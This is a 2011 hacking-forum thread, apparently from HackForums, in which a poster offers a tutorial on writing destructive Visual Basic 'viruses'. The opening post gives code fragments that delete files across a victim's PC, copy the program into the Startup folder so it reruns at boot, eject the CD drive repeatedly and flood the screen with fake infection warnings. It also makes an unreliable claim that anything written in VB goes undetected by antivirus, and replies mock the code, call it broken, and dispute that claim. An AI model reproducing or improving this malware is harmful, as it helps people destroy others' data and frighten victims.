Thread: [\[TUT\] Make your Own PC Fucker in VB / Deadly / FUD \[TUT\]](#)

The Unknown - April 28, 2011, 5:39 am

Hey HF,

In here I will be teaching you how to make great and deadly viruses with VB using simple codes.

I will be showing you codes and I will explain the role of each one of em.

Lets begin with the most used code which is the one that Deletes Files:

Well first add these to codes on the top:

Code Imports System.IO

Code Dim FileToDelete As String

No need to name it FileToDelete just name it whatever you want, but you will need to use the name later.

And now you will be able to add the codes that deletes a file:

Code FileToDelete = "C:/.." ' here add the file you want to Delete

System.IO.File.Exists(FileToDelete) = True Then

System.IO.File.Delete(FileToDelete)

Easy eh ? You will have to add as many deleting files codes as you can so you will destroy the whole damn PC.

Now we will move to the Copy Code:

Code File.Copy(Application.ExecutablePath, "C:/.." ' Just add what ever you want it to be copied to)

well in here you will to make attention to something, I will explain by example, if you wanna delete anything, you should write something like: C:\HF\Members\Virus.exe

yh the thing in the red is the name of your exe file which SHOULD BE added or else it won't be copies to the chosen destination.

Well, if you wanna act smart, copy your virus to startup so it will run each time the PC is turned on. Here's the startup code stuff:

Code File.Copy(Application.ExecutablePath, "C:\Documents and Settings\Owner\Start Menu\Programs\startup\Virus.exe"

Now these are the most important ones, you can add whatever you want to make it better. I will give you some Ideas you may like.

Well what about the CD Drive Prank codes ? Yeah ! this will make it better and more scary for the victim:

Code Do

Dim oWMP = CreateObject("WMPlayer.OCX.7")

```
Dim colCDROMs = oWMP.cdromCollection
If colCDROMs.Count = 1 Then
For i = 0 To colCDROMs.Count - 1
colCDROMs.Item(i).Eject()
Next
End If
Loop
Cool right ? !
```

Now what about some cool Error Message Boxes like, open as many Error Messages as you can on the victim's screen, just add this kind of codes more then once:

```
Code MsgBox("YOU HAVE BEEN INFECTED", MsgBoxStyle.Error, MessageBoxButtons.OK)
Oh yeah, add as many such Error Messages as you can to make the victim's scared.
```

And now about the FUD STUFF, the virus will be 100 % FUD cose it's made by VB a Microsoft Cooperation so it will be treated as a normal software.

And there you have it, Enjoy coding as many viruses as you can ! :P

DeathStar™ - April 28, 2011, 6:02 am

I don't think that you can destroy a PC without bypassing UAC.
So, that will only scare them a little.
Ok tut thought.

Gooples - April 28, 2011, 6:05 am

Code "C:\Documents and Settings\Owner\Start Menu\Programs\startup\Virus.exe"
Cannot bypass uac also will be corrupted start up also detected like a mother fucker. Also this ain't no virus.

Deal - April 28, 2011, 6:08 am

STOP CALLING IT VIRUS!
Really, I hate peoples that says "Virus" It just indicates that they don't know shit about anything.

The Unknown - April 28, 2011, 6:20 am

It's a virus, a thing that FUCKS a PC is a virus, learn that man, and it bypass AV as I said cose it's a microsoft Cooperation software. Like it or not.

DeathStar™ - April 28, 2011, 6:31 am

(Apr 28, 2011 06:20 AM)Vanadium - Decoy Jr. Wrote: [\[CITE\]](#) NO IT'S NOT A VIRUS!
THEN IT'S A BACKDOOR, A INFECTED FILE, A SERVER, A BOT, ANYTHING, BUT NOT A VIRUS!Then it's settled, it's a "BASIC almost-dangerous mini VB bot".

Gooples - April 28, 2011, 6:39 am

Ohai gaiz, my explorer.exe is corrupted. My explorer.exe is a virus.

Owait, , ,

The Unknown - April 28, 2011, 7:28 am

THEN IT'S A BACKDOOR, A INFECTED FILE, A SERVER, A BOT, ANYTHING, BUT NOT A VIRUS!

how about that ? ! :P

Pinz the gayest man I have ever knew

T0SH1VA - April 28, 2011, 7:32 am

the only good thing is the eject code :3

siimon00 - April 28, 2011, 8:16 am

And now about the FUD STUFF, the virus will be 100 % FUD cose it's made by VB a Microsoft Cooperation so it will be treated as a normal software.

And there you have it, Enjoy coding as many viruses as you can ! :P
Just get it in your head dude.

this is not a virus at all, these little half-amateur pieces of code can only be used to mess around with someone, and half of them wont even bypass UAC.

A virus is something that INFECTS a victim, making it NOT only do things ONCE, further more it should be able to spread itself.

and wtf are you talking about with "Microsoft Cooperation software"
what the fucking fuck?

-So you are practically saying that everything you write with a .NET Language will be 100% FUD?
are you retarded?

The Unknown - April 28, 2011, 9:27 am

well try it and you will know it is FUD, and am not retarded so you better watch out your tongue, and as you said, what is coded above copy it self, and each time the PC turns on it runs again which means it fucks the PC again and Copy it self again which means it Spread it self, and I know you didn't even read what I wrote cose what you said have nothing to do with the TUT so I think you should FO

Omg.

You my friend, really are retarded..

Do you even know anything about viruses and how they work? what they are to be more specific.
And yes, exactly this piece of code will be FUD, because it has nothing to do with virus.
If you actually create a real virus in .NET it will be detected..

stefsot - April 28, 2011, 10:39 am

If it's not a virus then it's a malicious file...

How about adding auto-pc-shutdown? Used it in my viruses and it's a big mess... ;)

The Unknown - April 28, 2011, 11:15 am

look man, if am retarded then you're a mother fucker, as I said, it's FUD, if you don't like it you can FO, you should FO anw, and stop posting low quality post else you will be banned.

siimon00 - April 28, 2011, 11:28 am

Well, actually I'm not posting LQ as I clearly know more about this than you, and because I'm clearly just trying to inform you, so you're not assuming something that is wrong.

Deal - April 30, 2011, 9:41 am

(Apr 28, 2011 11:15 AM)The Unknown Wrote: [\[CITE\]](#) and stop posting low quality post else you will be banned.

Well to be honest he doesn't post low quality, actually what he posts is high quality, as he's informing you of some mistakes, and teaching you new stuff.

- Vanadium.

DaRkReD - April 30, 2011, 9:51 am

A virus itself replicates injects and attempts to infect other things. This on the the other hand attempts to fuck up the pc.... its no more a virus then notepad.exe is a productivity suite. Also just because vb.net is made by ms doesn't mean it will be fud. Infact .net MSIL is easier for av's to peak into compared to c++ or assembler. Until this infects file types or attempts to spread it will be considered a "system fucker" rather then a virus in both my opinions and the opinions of others.
